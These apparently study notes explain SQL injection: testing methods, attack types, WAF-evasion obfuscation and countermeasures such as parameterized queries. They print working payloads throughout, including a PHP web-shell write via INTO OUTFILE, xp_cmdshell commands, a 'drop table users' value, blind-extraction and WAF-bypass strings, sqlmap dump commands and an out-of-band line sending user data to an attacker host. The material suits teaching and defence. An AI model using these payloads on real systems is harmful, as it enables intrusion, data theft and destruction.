

SQL injection overview

- Also known as **SQLi**
- Injecting malicious SQL queries into the application.
- Allows attacker to
 - Gain unauthorized access to system e.g. logging in without credentials
 - Retrieve, modify or delete the information stored in the database
 - E.g. inserting new users, updating passwords
 - Execute code remotely
- Exploits improper input validation in web applications
- A code injection technique.
- 💡 Can test on admin panels e.g. to find using google dorks `inurl:adminlogin.aspx`, `inurl:admin/index.php`, `inurl:adminlogin.aspx`
- 📝 Simple and quick way to test for SQL injection vulnerability is to insert a single quote (')
 - You can add other SQL code after that once vulnerability is verified.

SQL definition

- Structured Query Language
- Lets you access and manipulate databases
- SQL can be used to query both relational and non-relational databases
 - However SQL database usually means relational database.

Testing SQL injection

Black box testing

- Also known as **blackbox testing** or **black-box testing**
- Source code is not known to the tester
- Detect places where input is not sanitized

Function testing

- Output is compared to expected results
- E.g. setting `?id=` query parameter to `1'` then to `1'/*` then to `'1' AND '1'='1` ..

Fuzz testing

- Also known as **fuzzing** testing
- 📝 Inputting invalid/unexpected or random data and observing the changes in the output
- Often automated
- Monitors for exceptions such as crashes, failing built-in code assertions, or potential memory leaks


- Tools: • [WSFuzzer](#) • [WebScarab](#) • [Burp Suite](#) • [AppScan](#) • [Peach Fuzzer](#)

White box testing

- Also known as **whitebox testing** or **white-box testing**.
- Analyzing application source code.
- **Static code analysis**
 - Detect on source code
- **Dynamic code analysis**
 - Analyze during execution of the code
- Tools include: • [Veracode](#) • [RIPS](#) • [PVS Studio](#)

SQL injection methodology

1. Information gathering

- E.g. database structure, name, version, type..
- Goal is to identify vulnerabilities for SQL injection.
- Entry points in application tested to inject queries, e.g. invalidated input fields.
-  [Error messages](#) can reveal information about the database type and version.

2. SQL injection

- Attacks to extract information from database such as name, column names, and records.
- Can also insert or update certain information in the database.
 - E.g. modifying password of an existing user or inserting himself as new user to gain access.

3. Advanced SQL injection

- Goal is to compromise underlying OS and network
- Techniques include
 - Interacting with file system
 - E.g. in MySQL: `LOAD_FILE()` to read and `OUTFILE()` to write
 - Collect network information
 - E.g. reverse DNS: `exec master..xp_cmdshell 'nslookup a.com MyIP'`
 - E.g. reverse pings: `'; exec master..xp_cmdshell 'ping 10.0.0.75' --`
 - Executing commands that call OS functions at runtime
 - E.g. in MySQL: `CREATE FUNCTION sys_exec RETURNS int SONAME 'libudffmwgj.dll'`
 - Creating [backdoor](#) to use execute commands using a remote shell
 - E.g. `SELECT '<?php exec($_GET['cmd']); ?>' FROM usertable INTO outfile '/var/www/html/shell.php'`
 - Transfer database to attackers machine
 - E.g. by using [OPENROWSET](#)

SQL evasion

- Obfuscating input strings to avoid signature-based detection systems

- Using IP fragmentation with optionally trying different orders

Obfuscation against signature detection

Technique	Plain-text	Obfuscated text
In-line comment	<code>select * from users</code>	<code>s/**/e/**/ct/**/**/from/**/users</code>
Char encoding	<code>e</code>	<code>char(101)</code>
String concatenation	<code>Hello</code>	<code>'He1'+ 'lo'</code>
Obfuscated codes	<code>/?id=1+union+(select+1,2+from+test.users)</code>	<code>/?id=(1)union(((((((select(1),hex(hash)from(test.users))))))))))</code>
Manipulating white spaces	<code>OR 1 = 1</code>	<code>'OR'1='1'</code>
Hex encoding	<code>SELECT @@version = 31</code>	<code>SELECT @@version = 0x1F</code>
Sophisticated Matches	<code>OR 1 = 1</code>	<code>OR 'hi' = 'hi'</code>
URL Encoding	<code>select * from users</code>	<code>select%20%2A%20from%20users</code>
Case Variation	<code>select * from users</code>	<code>SeLeCt * FROM UsErS</code>
Null byte	<code>UNION SELECT..</code>	<code>%00' UNION SELECT..</code>
Declare Variables	<code>UNION select Password</code>	<code>; declare @sqlvar nvarchar(70); set @myVAR = N'UNI' + N'ON' + N' SELECT' + N'Password'); EXEC(@sqlvar)</code>

OWASP categories

- SQL injection bypassing WAF | OWASP
- **Normalization**
 - Obfuscating with e.g. comments
 - E.g. WAF blocks `/?id=1+union+select+1,2,3/*`
 - Attacker injects: `/?id=1+un/**/ion+sel/**/ect+1,2,3--`
 - Request passes WAF, SQL becomes `SELECT * from table where id =1 union select 1,2,3--`
- **HTTP Parameter Pollution (HPP)**
 - Injects delimiting characters into query strings
 - E.g. WAF blocks `/?id=1+union+select+1,2,3/*`
 - Attacker injects: `/?id=1&id=+&id=union=&id=+select+&1,2,3`
 - Test e.g. [google.com/search?q=hello&q=world](https://www.google.com/search?q=hello&q=world)
- **HTTP Parameter Fragmentation (HPF)**
 - Exploits SQL is built using more than parameter in backend
 - `Query("select * from table where a=".$_GET['a']"." and b=".$_GET['b']);`
 - E.g. WAF blocks `/?a=1+union+select+1,2/*`
 - Attacker injects: `/?a=1+union/*&b=*/select+1,2`
- **Blind SQL Injection**
 - Replacing WAF signatures with their synonyms
 - E.g. WAF blocks `/?id=1+OR+0x50=0x50`

- Attacker injects `/?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74`
- **Signature bypass**
 - E.g. WAF blocks is `/?id=1+OR+1=1`
 - Attacker injects `/?id=1+OR+0x50=0x50`

SQL injection tools

- [sqlmap](#)
 - Automatic SQL injection and database takeover tool
 - Requires session that can be retrieved through e.g. running [Burp Suite](#) as proxy.
 - Run e.g. `sqlmap -u https://cloudarchitecture.io/?id=3&Submit=Submit --cookie 'PHPSESSID=63j6; security:low'`
 - Outputs e.g.
 - `GET parameter id appears to be MySQL >= 5.0.12 AND time-based blind injectable`
 - `GET parameter id is 'Generic UNION query (NULL) - 1 to 20 columns' injectable`
 - `--dbs` parameter gets database names e.g. `mysql, phpmyadmin...`
 - `-D <database-name> --tables` parameters lists tables from given database name..
 - `-T <table-name> --columns` gives column names
 - `-C <comma-separated-column-names> --dump` to get columns
 - Can also crack hashes (not as fast as `hashcat`)
- [jSQL Injection](#)
- Older tools:
 - [SQL Power Injector](#)
 - [The Mole](#)
 - [OWASP SQLiX](#) tool
- Mobile tools
 - [sqlmapchik](#) for Android - GUI for sqlmap
 - [Andro Hackbar](#) for Android
- See also [SQL injection detection tools](#)

SQL injection countermeasures


- **Weakness:** The database server runs OS commands
 - Run database with minimal rights
 - Disable OS commands like `xp_cmdshell` (for shell access)
 - Invoking `xp_cmdshell` spawns a Windows command shell with input string passed to it for execution
 - Providing local system level access to the server.
- **Weakness:** Using privileged account to connect to the database

- Monitor DB traffic using an IDS
- Apply least privilege rule for accounts/applications that access databases
- **Weakness:** Error message revealing important information
 - Suppress all error messages
 - Use custom error messages
- **Weakness:** No data validation at the server
 - Filter and sanitize all client data
 - Size and data type checks protects against buffer overruns
 - E.g.

```
// vulnerable code:
var command = new SqlCommand("SELECT * FROM table WHERE name = " +
login.Name, connection);
// Safe code:
var command = new SqlCommand("SELECT * FROM table WHERE name = @name ",
connection);
command.Parameters.Add("@name", SqlDbType.NVarChar, 20).Value =
login.Name;
```

- **Weakness:** Implementing consistent coding standards
 - Server-side input validation, data access abstraction layer, custom error messages.
- **Weakness:** Firewalling the SQL Server
 - Allow only access from web server and administrators

SQL injection detection tools

- **Commercial scanners**
 -  [Burp Suite](#)
 - [IBM Security AppScan](#)
 - [Acunetix Vulnerability Scanner](#)
- **Open source scanners**
 - [w3af](#)
 - [Wapiti](#)
 - [Zeus-Scanner](#)
 - [RED HAWK](#)
- [Snort](#) - Open Intrusion Prevention System (IPS)

SQL injection types

- Types include
 - In-band SQL injection
 - Blind SQL injection
 - Out-of-band SQL injection
- Other classifications sometimes include
 - **Database management system-specific SQL injection**
 - Using specific SQL statements to certain database engine.
 - **Compounded SQL injection**
 - Combining SQL injection with other web application attacks such as â insufficient authentication â DDoS attacks â DNS hijacking â XSS.
 - E.g. DDoSing through `http://cloudarchitecture.io/azure?id=2 and WAITFOR DELAY '0:0:50'`
 - **Second-order SQL injection**
 - When user-supplied data is stored by the application and later incorporated into SQL queries in an unsafe way.
 - E.g. during login user name and password is retrieved as `WHERE username="$username" and password="$password"`, one could then set a password as `"); drop table users;` to delete the table and it will only executed during user login.

In-band SQL injection

- Also known as â **classic SQL injection** â **in-band SQLi** â **classic SQLi**.
- Attacker uses one channel to inject malicious queries and retrieve results.

Error-based SQL injection

- Causing database to throw errors and in such a way to identify the vulnerabilities
- One of the most common injections
- Examples
 - Through parameter tampering in GET/POST requests
 - E.g. adding `&` in the end: `http://testphp.vulnweb.com/listproducts.php?cat=1&`
 - Shows error: `Error: Check the manual that corresponds to your MySQL server version. Invalid syntax '' at line 1 warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /hj/var/www/listproducts.php on line 74`
 - Reveals file names, database type etc.
 - Can use e.g. Burp Suite
 - Converting anything to integer: `or 1=convert(int, (select * from tablename))`

- Syntax error converting the nvarchar value '<sql execution result>'

System stored procedure

- **Stored procedure:** Precompiled function-like SQL statements supported by many DBMS.
- Injecting malicious queries into stored procedures
- E.g. `@vname` is vulnerable to injection in following procedure:

```
CREATE PROCEDURE getDescription
    @vname VARCHAR(50)
AS
    EXEC('SELECT description FROM products WHERE name = ''' + @vname + ''')
RETURN
```

Illegal/Logically incorrect query

- Goal is to gather information about the type and structure of the back-end database.
- Considered as a preliminary step for further attacks.
- Attacker takes advantage of error messages sent by the database on incorrect queries.
- Often exposes the names of tables and columns.
- E.g. `SELECT*FROM table_nameWHERE id=@id` (missing whitespaces) would cause incorrect syntax error.

UNION SQL injection

- Using the `UNION` operator to inject a malicious query.
- Allows appending results to the original query.
- E.g. `SELECT a, b FROM table1 UNION SELECT c, d FROM table2`

Tautology

- Manipulating the `WHERE` operator in the query to always have a `true` value
- Utilizes `OR` operator e.g. by appending `OR 1 = 1`
- E.g. `select * from user_details where userid = 'abcd' and password = 'anything' or 'x'='x'`
- In logic, a tautology is a formula which is true in every possible interpretation
 - E.g. either it will rain tomorrow, or it won't rain

Comment SQL injection

End-of line comment

- Also known as **terminating query** **single-line comment** ***end-of-line comment** **end of line comment**.
- Usually done by adding `--` at the end of the injected query
 - `--` (two dashes): comment out the rest so SQL engine ignores the rest of the query
- E.g. by appending `' or 1 = 1 --` in the end of the query would ignore the password check

- `select * from users where name='injection starts here' or 1=1 --' AND password='pwd'`
- Basically tells the server if `1 = 1` (always true) to allow the login.
- Double dash (`--`) tells the server to ignore the rest of the query

Inline comments

- Using C-style comments to eliminate a part of the query.
- Requires attacker having a good idea of how the input is integrated.
- E.g.
 - Query is

```
$sql = "INSERT INTO members (username, isadmin, password) VALUES ('".$username."', 0, '".$password."')"
```

- Attackers input include `username` and `password`
- Attacker enters following values to avoid password check:
 - `attacker', 1, /*`
 - `*/'pwd`
- It then generate:

```
INSERT INTO members (username, isadmin, password) VALUES ('attacker', 1, /*', 0, '*/'pwd')
```

Piggyback query

- Also known as `piggybacked query` `piggy-backed query` `statement injection`
- Appending malicious query to the end of the original one.
- Common way is to append the query delimiter (`;`)
 - E.g. `normal SQL statement + ";" + INSERT (or UPDATE, DELETE, DROP) <rest of injected query>`

Blind SQL injection

- Also known as `blind SQLi` `inferential SQL injection` `inferential SQLi` `inference SQL injection` `inference SQLi`
- Attacker is unable to see the direct results of the injected queries
 - instead attacker observes web applications response and behavior.
- As database does not output data to the web page, an attacker is forced to steal data by asking the database a series of true or false questions.
- Allows remote database fingerprinting to e.g. know which type of database is in use
- Can be automated using e.g.
 - [Absinthe :: Automated Blind SQL Injection](#)
 - [SQLBrute](#), multi threaded blind SQL injection bruteforcer in Python
 - [bsqlbf](#), a blind SQL injection tool in Perl

Boolean-based blind SQL

- Also called **content-based blind SQL**
- Attacker forms queries to return `true` or `false`
- Depends on changing HTTP results depending on SQL results for each condition.
- Allows enumerating the database character by character (slow)
- E.g.
 - URL: `http://newspaper.com/items.php?id=2`
 - Query in back-end: `SELECT title, description, body FROM items WHERE ID = 2`
 - Attacker sends `http://newspaper.com/items.php?id=2` and `1=2` to make it return `false`
 - Attacker inspects if application shows a page or with which status code

Time-based SQL injection

- Also called **time delay SQL injection** or **double blind SQL injection** or **2blind SQL injection**
- Using time delay to evaluate the result (true or false) of the malicious query
- Allows for testing of existing vulnerabilities.
- Uses commands like `waitfor`, `sleep`, `benchmark`
 - Helps with database fingerprinting as MySQL, MSSQL, and Oracle have different functions to get current time.
 - E.g. `http://www.site.com/vulnerable.php?id=1' waitfor delay '00:00:10'--`
- Allows enumerating each character (very slow)
 - E.g. if database name starts with A, wait 10 seconds
 - Can use character comparison, regex or `LIKE` in Microsoft SQL.
- Time consuming, but there are automated tools such as `sqlmap`

Heavy query

- Injecting queries that takes time to test
- Useful when time functions such as `waitfor` are disabled by administrator
- E.g. `SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.columns C`
 - Can inject something like: `1 AND 1>(SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.columns C)`

Out-of-band SQL injection

- Also known as **OOB injection** or **OOB SQLi**
- Exfiltrate data through outbound channel
 - E.g. e-mail sending or file writing/reading functionalities
- Difficult as it depends on target having
 - Supported databases that can initiate outbound DNS or HTTP requests
 - Lack of input validation

- Network access to the database server
- Privileges execute the necessary function
- E.g. `||UTL_HTTP.request('http://test.attacker.com/'||(SELECT user FROM users))`